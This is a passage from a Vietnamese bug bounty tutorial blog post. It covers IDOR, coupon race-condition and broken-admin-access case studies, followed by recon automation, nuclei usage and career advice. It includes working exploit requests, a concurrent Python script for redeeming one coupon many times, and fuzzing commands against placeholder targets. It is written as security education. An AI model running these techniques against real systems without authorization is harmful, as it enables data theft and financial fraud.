**Cách phát hiện:**

Trong quá trình manual browse, mình chú ý đến feature export report. Đây là loại feature hay bị bỏ qua vì "chỉ là export thôi, có gì nguy hiểm đâu." Nhưng đây chính xác là tư duy defender — attacker thấy cơ hội.

Mình intercept request export trong Burp:

```http
POST /api/v2/analytics/export HTTP/1.1
Host: app.target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "workspace_id": "ws_abc123",
  "report_type": "usage_summary",
  "date_range": {
    "start": "2026-01-01",
    "end": "2026-03-31"
  },
  "user_context": {
    "user_id": "usr_xyz789",    ← Cái này đáng ngờ
    "include_personal": true
  },
  "format": "csv"
}

user_id trong user_context ngay lập tức raise red flag. Server đáng lẽ phải lấy user_id từ token, không phải từ request body. Mình tạo account thứ hai, lấy user_id của nó, và thay vào:

POST /api/v2/analytics/export HTTP/1.1
...

{
  "workspace_id": "ws_abc123",
  "report_type": "usage_summary",
  "date_range": {
    "start": "2026-01-01",
    "end": "2026-03-31"
  },
  "user_context": {
    "user_id": "usr_victim456",    ← Đổi sang ID của account B
    "include_personal": true
  },
  "format": "csv"
}

Response: File CSV chứa toàn bộ dữ liệu usage của account B, bao gồm email, tên dự án, giờ làm việc, thậm chí billing information.

Impact: Bất kỳ user nào biết (hoặc enumerate) user_id của user khác đều có thể download báo cáo chứa dữ liệu nhạy cảm. User_id format là usr_ + 6 ký tự alphanumeric — khá dễ brute force.

Bài học: Feature "phụ" như export, import, download thường ít được test security. Đây là nơi ngon để tìm bug.


Case Study 2: Business Logic Flaw trong Coupon System — $750

Target: E-commerce platform Platform: Bugcrowd Severity: Medium Reward: $750

Bối cảnh: Platform có hệ thống coupon cho phép user apply discount code khi checkout. Mỗi coupon chỉ được dùng một lần per account.

Cách phát hiện:

Mình đang test flow checkout, chú ý cái call apply coupon:

POST /api/cart/apply-coupon HTTP/1.1
Host: shop.target.com
Authorization: Bearer TOKEN
Content-Type: application/json

{
  "coupon_code": "WELCOME50",
  "cart_id": "cart_abc123"
}

Response:

{
  "success": true,
  "discount": 50.00,
  "message": "Coupon applied successfully!"
}

Thử gửi request này lần thứ hai:

{
  "success": false,
  "message": "Coupon already used"
}

OK, có check. Nhưng mình chú ý một điều: coupon được lock tại thời điểm apply, không phải tại thời điểm checkout confirm. Điều này tạo ra window cho race condition.

Mình dùng Burp Intruder với Null payloads, gửi 20 request đồng thời:

import threading
import requests
import time

BASE_URL = "https://shop.target.com"
TOKEN = "YOUR_TEST_TOKEN"

results = []

def apply_coupon():
    response = requests.post(
        f"{BASE_URL}/api/cart/apply-coupon",
        headers={
            "Authorization": f"Bearer {TOKEN}",
            "Content-Type": "application/json"
        },
        json={
            "coupon_code": "TEST_COUPON_CODE",
            "cart_id": "cart_test123"
        }
    )
    results.append({
        "status": response.status_code,
        "response": response.json()
    })

# Reset coupon state trước
# (dùng Burp để delete coupon application)

# Fire 20 concurrent requests
threads = [threading.Thread(target=apply_coupon) for _ in range(20)]
for t in threads:
    t.start()
for t in threads:
    t.join()

success_count = sum(1 for r in results if r["response"].get("success"))
print(f"Coupon applied successfully: {success_count} times out of 20")

Kết quả: Coupon được apply 7 lần thành công trong 20 request đồng thời. Tổng discount: $350 thay vì $50.

Impact:

User có thể apply one-time coupon nhiều lần bằng cách gửi concurrent requests, dẫn đến loss revenue cho platform.

Bài học: Race condition thường xuất hiện ở nơi có "one-time use" logic — coupon, referral code, gift card redemption, free trial activation. Đây là pattern cần test kỹ.


Case Study 3: Broken Access Control trong Admin API — $2,500

Đây là bug ngon nhất mình từng tìm. Không phải IDOR, không phải race condition — là một endpoint admin bị quên mất không có auth check.

Target: HR SaaS platform Platform: Intigriti Severity: High Reward: $2,500

Cách phát hiện:

Trong lúc recon, mình chạy directory fuzzing trên subdomain api.target.com:

ffuf -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt \
     -u https://api.target.com/FUZZ \
     -H "Authorization: Bearer NORMAL_USER_TOKEN" \
     -mc 200,201,400,403 \
     -o ffuf-results.json

Trong kết quả, mình thấy một số endpoint trả về 200 với user token bình thường, bao gồm:

/v1/admin/users → 200 OK
/v1/admin/reports → 200 OK  
/v1/admin/payroll → 200 OK   ← Đây là cái đáng lo

Mình test endpoint /v1/admin/payroll:

GET /v1/admin/payroll?company_id=COMPANY_ID HTTP/1.1
Host: api.target.com
Authorization: Bearer NORMAL_USER_TOKEN   ← Token của user thường, không phải admin

Response:

{
  "success": true,
  "payroll_data": [
    {
      "employee_id": "E001",
      "name": "John Smith",
      "salary": 85000,
      "bank_account": "****4521",
      "tax_id": "XXX-XX-1234"
    },
    ...  // Toàn bộ payroll của company
  ],
  "total_payroll": 2847500
}

Toàn bộ thông tin lương của tất cả nhân viên. Accessible bởi bất kỳ authenticated user nào, kể cả nhân viên cấp thấp nhất.

Root cause:

Endpoint này được viết cho internal admin tool, nhưng bị deploy lên production API mà quên thêm admin role check. Đây là loại lỗi rất human — dev viết feature nhanh, không check authorization đầy đủ.

Impact:

  • Toàn bộ payroll data của company bị exposed
  • Thông tin lương cực kỳ nhạy cảm (HR data protection laws)
  • Potential data breach notification obligations

Bài học: Directory fuzzing với authenticated token có thể reveal endpoint mà anonymous brute force không tìm được (vì nhiều endpoint trả 403 với anonymous nhưng lại 200 với authenticated user). Đây là pattern hay bị bỏ sót.


6. Chiến lược nâng cao & Kiếm tiền ổn định

Làm sao để lên Top Hunter?

Không có shortcut. Nhưng có các con đường ngắn hơn:

1. Specialization beats generalization

Hãy chọn một mảng và đào sâu. SSRF specialist sẽ tìm được nhiều SSRF bug hơn người test tất cả mọi thứ ở mức nông. Business Logic specialist sẽ tìm được bug mà scanner không bao giờ tìm được.

Dev backend có lợi thế tự nhiên ở: API Security, IDOR, Business Logic, Authentication/Authorization. Đây là mảng bạn nên own.

2. Target profiling

Trước khi test, dành 30–60 phút nghiên cứu target:

  • Đọc changelog/release notes (bug mới thường xuất hiện ở feature mới)
  • Đọc job postings của họ (tech stack, team size)
  • Tìm GitHub repo nếu có open source components
  • Đọc public postmortems/security advisories

3. Retest sau mỗi update

Nhiều hunter bỏ qua điều này. Khi một company push update lớn, đó là cơ hội vàng. Feature mới = potential new bugs. Regression = old bug trở lại.

# Setup monitor để track changes
# Sử dụng changedetection.io hoặc tự viết script
python3 monitor_changelog.py --target "https://target.com/changelog" \
                             --notify-email "you@email.com"

4. Build reputation cẩn thận

Reputation trên HackerOne/Bugcrowd quyết định bạn có được invite vào private program hay không. Một số tips:

  • Report đúng severity (đừng inflate)
  • Tương tác professional với triage team
  • Không spam low-quality reports để lấy điểm
  • Viết report rõ ràng, chi tiết, có PoC — triage team nhớ những hunter report tốt

Signal score trên HackerOne là metric quan trọng nhất. Nó bị ảnh hưởng bởi tỷ lệ report hợp lệ của bạn. Một loạt report N/A hay Informational sẽ kéo signal xuống, khó được invite vào private program hơn.

Mình từng mắc lỗi này — tháng đầu tiên gửi đại 15 report, 10 cái bị Informational/N/A vì mình chưa hiểu đủ về impact assessment. Signal tụt thảm. Mất cả 3 tháng sau để rebuild. Bài học: quality over quantity, luôn luôn.

Đọc Write-up và Học từ Người Khác

Đây là một trong những cách học hiệu quả nhất mà mình thấy nhiều người bỏ qua. Mỗi disclosed bug report là một bài học miễn phí từ người đã thực chiến.

Nơi tìm write-up tốt:

  • HackerOne Hacktivity: hackerone.com/hacktivity — filter theo severity và program
  • Bugcrowd Crowdstream
  • Medium và Blog cá nhân của top hunters (tìm bug bounty writeup site:medium.com)
  • Twitter/X: follow hashtag #bugbounty, #bugbountytips
  • GitHub: nhiều hunter publish PoC code và write-up kèm theo

Cách đọc write-up hiệu quả:

Đừng chỉ đọc để biết bug là gì. Đọc để hiểu:

  1. Tại sao hunter nhìn vào chỗ đó?
  2. Họ phát hiện signal ban đầu như thế nào?
  3. Họ escalate từ observation đến PoC như thế nào?
  4. Impact được frame như thế nào trong report?

Sau khi đọc, thử reproduce bug đó trên một lab hoặc target khác với cùng pattern. Việc tự reproduce giúp internalize kỹ thuật tốt hơn nhiều so với chỉ đọc qua.

Private Program & Invite

Private programs là nơi tiền thật nằm. Ít cạnh tranh hơn, scope thường rộng hơn, reward tốt hơn.

Làm thế nào để được invite:

  • Có track record tốt trên public programs (số bug resolved, signal score)
  • Tham gia live hacking events (HackerOne LIVE, Bugcrowd Bash)
  • Network với hunter khác (Discord, Twitter security community)
  • Một số company invite trực tiếp nếu bạn có public disclosure nổi tiếng

Tip: Nhiều company có security.txt file. Check https://target.com/.well-known/security.txt — đôi khi có thông tin về bug bounty program chưa public.

Automation + Manual kết hợp

Automation không thay thế được manual testing, nhưng scale up reconnaissance cực tốt.

Recon automation pipeline:

#!/bin/bash
# recon.sh — chạy hàng đêm cho target list

TARGETS_FILE="$1"
OUTPUT_DIR="recon_output/$(date +%Y%m%d)"
mkdir -p "$OUTPUT_DIR"

while IFS= read -r domain; do
  echo "[*] Processing: $domain"
  
  # Subdomain enum
  subfinder -d "$domain" -silent -o "$OUTPUT_DIR/${domain}_subdomains.txt"
  
  # Live host check
  cat "$OUTPUT_DIR/${domain}_subdomains.txt" | \
    httpx -status-code -title -silent -o "$OUTPUT_DIR/${domain}_live.txt"
  
  # Port scan (common web ports)
  nmap -p 80,443,8080,8443,8888 -iL "$OUTPUT_DIR/${domain}_subdomains.txt" \
    --open -oN "$OUTPUT_DIR/${domain}_ports.txt" 2>/dev/null

  # New URLs (compare với hôm qua)
  gau "$domain" --threads 5 | sort -u > "$OUTPUT_DIR/${domain}_urls.txt"
  
done < "$TARGETS_FILE"

# Send notification nếu có thay đổi
python3 notify_changes.py "$OUTPUT_DIR" --telegram-bot-token "$BOT_TOKEN"

Nuclei templates cho API testing:

# Scan với API-specific templates
nuclei -u https://api.target.com \
       -t nuclei-templates/http/exposures/ \
       -t nuclei-templates/http/misconfiguration/ \
       -t nuclei-templates/http/vulnerabilities/ \
       -H "Authorization: Bearer YOUR_TOKEN" \
       -o nuclei-results.txt

# Custom template cho IDOR test
cat > idor-test.yaml << 'EOF'
id: idor-user-profile
info:
  name: IDOR User Profile
  severity: medium

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/users/{{id}}/profile"
    
    payloads:
      id:
        - 1
        - 2
        - 100
        - 1000
    
    matchers:
      - type: status
        status:
          - 200
EOF

nuclei -u https://api.target.com -t idor-test.yaml

Quản lý thời gian — Fulltime dev + Bug Bounty

Đây là câu hỏi mình hay nhận nhất: "Làm cả 2 được không?" Được. Nhưng cần discipline.

Lịch trình của mình (vào giai đoạn active):

Thứ 2–Thứ 6:
  - 7:00–9:00: Sáng làm việc bình thường
  - 9:00–18:00: Dev job (focus 100%)
  - 19:00–20:00: Ăn cơm, nghỉ ngơi
  - 20:00–22:30: Bug bounty (2.5 giờ/ngày)
  
Thứ 7:
  - 8:00–12:00: Bug bounty deep dive (4 tiếng)
  - Chiều: nghỉ hoặc research mới
  
Chủ Nhật:
  - Đọc write-up của người khác, học kỹ thuật mới
  - Viết note và plan cho tuần tới

Điều quan trọng là đừng sacrifice ngủ. Bug bounty cần tư duy sắc bén — thiếu ngủ thì kém hiệu quả hơn nhiều.


7. Lời khuyên thực tế cho Dev Việt Nam

Học gì trước?

Đừng cố học tất cả. Học theo lộ trình này:

Tháng 1–2: Foundation

  • HTTP/HTTPS, cookies, sessions — hiểu sâu hơn mức dev thông thường
  • Burp Suite basics (Proxy, Repeater, Intruder)
  • OWASP Top 10 — đọc kỹ từng mục, có lab thực hành
  • Làm lab trên PortSwigger Web Security Academy (miễn phí, rất ngon)

Tháng 3–4: Core Skills

  • IDOR và Broken Access Control — đây là priority #1
  • Authentication/Authorization vulnerabilities
  • Business Logic Testing methodology
  • Đọc disclosed bug report trên HackerOne Hacktivity mỗi ngày 30 phút

Tháng 5–6: First Hunt

  • Chọn 1–2 chương trình public, tập trung test thật sự
  • Report bất kỳ thứ gì bạn tìm được, dù nhỏ
  • Học từ feedback của triage team

Tháng 7+: Specialization

  • Đi sâu vào mảng phù hợp với background của bạn
  • Bắt đầu automation recon
  • Network với cộng đồng security

Lịch trình gợi ý cho người mới

Tuần 1-2: Setup môi trường
  - Cài Burp Suite, làm quen interface
  - Làm 5-10 lab đầu tiên trên PortSwigger
  - Đọc OWASP Testing Guide (chọn lọc)

Tuần 3-4: Thực hành trên lab
  - Hoàn thành IDOR labs trên PortSwigger
  - Hoàn thành Access Control labs
  - Thử VulnHub / HackTheBox (optional nhưng tốt)

Tháng 2: Chọn target thật
  - Đăng ký HackerOne, Bugcrowd
  - Chọn 1 program public, đọc kỹ scope
  - Bắt đầu recon và manual browse

Tháng 3+: Hunt thật sự
  - Report bất kỳ thứ gì (kể cả Low)
  - Học từ mỗi response của triage
  - Không bỏ cuộc

Công cụ miễn phí hay dùng

Tool Dùng cho gì Free?
Burp Suite Community Proxy, intercept
OWASP ZAP Alternative proxy
subfinder Subdomain enum
httpx HTTP probe
ffuf Fuzzing
nuclei Vuln scanner
interactsh OOB detection
PortSwigger Academy Học và lab
HackerOne Hacktivity Đọc report thật
TryHackMe Học lab gamified Freemium
Shodan Recon Freemium

Những sai lầm nên tránh

Đừng có làm như mình ngày xưa:

Hack mà không có authorization. Nghe có vẻ obvious nhưng nhiều người test target ngoài scope. Không chỉ invalid — còn illegal.

Chỉ dùng tool, không hiểu tại sao. Nuclei báo có bug nhưng bạn không hiểu root cause → report quality thấp → reward thấp hoặc N/A.

Gửi report trước khi verify kỹ. Một lần mình vội gửi IDOR report, nhưng không kiểm tra kỹ — hóa ra server trả về template data mặc định, không phải data thật. Embarrassing.

Không đọc program policy. Mỗi chương trình có rule riêng: một số không cho automated scanning, một số restrict testing hours, một số có safe harbor clause cụ thể.

Burn out sớm. Bug bounty là marathon, không phải sprint. Đừng hunt 8 tiếng/ngày trong 2 tuần rồi bỏ. Consistent 2 tiếng/ngày tốt hơn nhiều.

Social engineer, phishing, DoS. Đây là những thứ gần như luôn out of scope và có thể dẫn đến legal trouble.

Claim bug người khác. Cộng đồng security Việt Nam nhỏ. Reputation mất đi rất khó lấy lại.

Một vài thứ hay ho nên làm:

✅ Join Discord của các cộng đồng security Việt Nam (VSEC, VNSecurity, WhiteHat.vn community)

✅ Follow Twitter/X của các top hunters (có nhiều người share technique, hint về program họ đang test)

✅ Contribute vào open source security tools — tốt cho resume và network

✅ Document mọi thứ bạn học được. Obsidian hoặc Notion đều ổn.

✅ Participate live hacking events (virtual) khi có thể — networking tốt, cơ hội private invite tăng


8. Kết luận

Đây là điều mình muốn nói thẳng nhất, không sugarcoat:

Bug bounty không phải cách làm giàu nhanh.

Không phải passive income như người ta hay hype. Không phải bạn setup tool rồi ngồi đợi tiền vào. Không phải ai cũng sẽ kiếm được $1,000 bug sau 1 tháng học. Mình từng thấy người bỏ cuộc sau 3 tháng vì "không kiếm được đồng nào" — nhưng nhìn lại, họ chưa bao giờ commit đủ thời gian và công sức.

Bug bounty là một kỹ năng. Như mọi kỹ năng khác, nó cần thời gian để develop. Senior dev viết code tốt hơn junior không phải vì họ thông minh hơn — mà vì họ đã viết code trong nhiều năm, đã fail nhiều lần, đã học từ những fail đó.

Bug bounty cũng vậy.

Nhưng đây là điều mình thật sự tin:

Giá trị lớn nhất của bug bounty không phải tiền — là kỹ năng và tư duy.

Sau 2+ năm săn bug bounty, mình viết code khác đi. Mình review PR với con mắt khác. Mình thiết kế API với security mindset từ đầu thay vì add security vào sau như một afterthought. Mình catch được security issues trong code base của công ty mà trước đây mình sẽ bỏ qua hoàn toàn.

Mình từng làm code review cho một junior dev trong team. Họ viết một endpoint export data, tưởng hoàn hảo — validate input, handle error đúng, test pass hết. Nhưng mình nhìn vào một giây là thấy IDOR ngay lập tức: user_id lấy từ request body thay vì từ session. Nếu không có bug bounty experience, mình đã approve PR đó không do dự.

Đó là value thật sự. Và tiền là thứ đi kèm một cách tự nhiên khi bạn giỏi lên.

Một điều cuối mình muốn nói: Đừng so sánh bản thân với top hunters. Người kiếm $100,000/năm từ bug bounty đã hunt trong 5–7 năm, chuyên môn sâu, có network mạnh, và làm fulltime. Bạn đang ở điểm xuất phát. Mỗi bug tìm được — dù $100 hay $5,000 — đều là bằng chứng bạn đang tiến bộ.

Và câu hỏi mình muốn để lại cho bạn:

Bạn đã bao giờ nhìn vào một API endpoint bạn tự viết và tự hỏi: "Nếu mình là attacker, mình sẽ tấn công nó như thế nào không?"

Nếu chưa — bắt đầu từ hôm nay đi. Không cần tool xịn, không cần lab phức tạp. Chỉ cần Burp Suite Community (free), một account test, và tư duy muốn hiểu hệ thống hoạt động như thế nào — và làm thế nào để nó không hoạt động theo ý người tạo ra nó.


Bài tiếp theo trong series này:

🔜 "Thực chiến IDOR & Broken Access Control 2026: Từ Recon đến Report"

Mình sẽ walk-through toàn bộ quá trình — từ lúc chọn target, recon, tìm bug, cho đến lúc gửi report và negotiate reward. Real target (redacted), real commands, real payloads. Không có lý thuyết suông. Bài này sẽ có cả section về cách mình đã escalate một IDOR tưởng chừng low-impact thành High severity bằng cách chứng minh impact chain rõ ràng.

🔜 "OAuth 2.0 Security: Những lỗ hổng hay gặp nhất và cách exploit"

OAuth là một trong những topic phức tạp nhất nhưng cũng rewarding nhất. Sai ở bước nào trong OAuth flow cũng có thể dẫn đến account takeover. Mình sẽ breakdown từng bước của OAuth flow và show những điểm thường bị implement sai.

Nếu bạn muốn được notify khi bài ra, để lại comment hoặc follow trang nhé.


Bạn đang ở đâu trong hành trình này? Đang chuẩn bị bắt đầu? Đã có bug đầu tiên chưa? Hay đang stuck ở một bước nào đó? Comment xuống dưới chia sẻ với mình — mình đọc hết và sẽ cố gắng trả lời mọi người.

Và nếu bài này giúp ích cho bạn, share cho mấy đứa bạn dev cũng biết nhé. Cộng đồng security Việt Nam lớn mạnh thì tốt cho tất cả mọi người.


#MayFest2026 | Viết ngày 16/05/2026


⚠️ Disclaimer: Tất cả kỹ thuật trong bài này chỉ áp dụng trên các chương trình bug bounty có authorization hoặc môi trường lab của chính bạn. Hack mà không có permission là hành vi vi phạm pháp luật và mình không encourage bất kỳ hoạt động nào không có authorization. Nếu bạn tìm thấy bug trong sản phẩm nào đó mà không có chương trình bug bounty — contact responsible disclosure qua security@company.com hoặc .well-known/security.txt của họ.


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí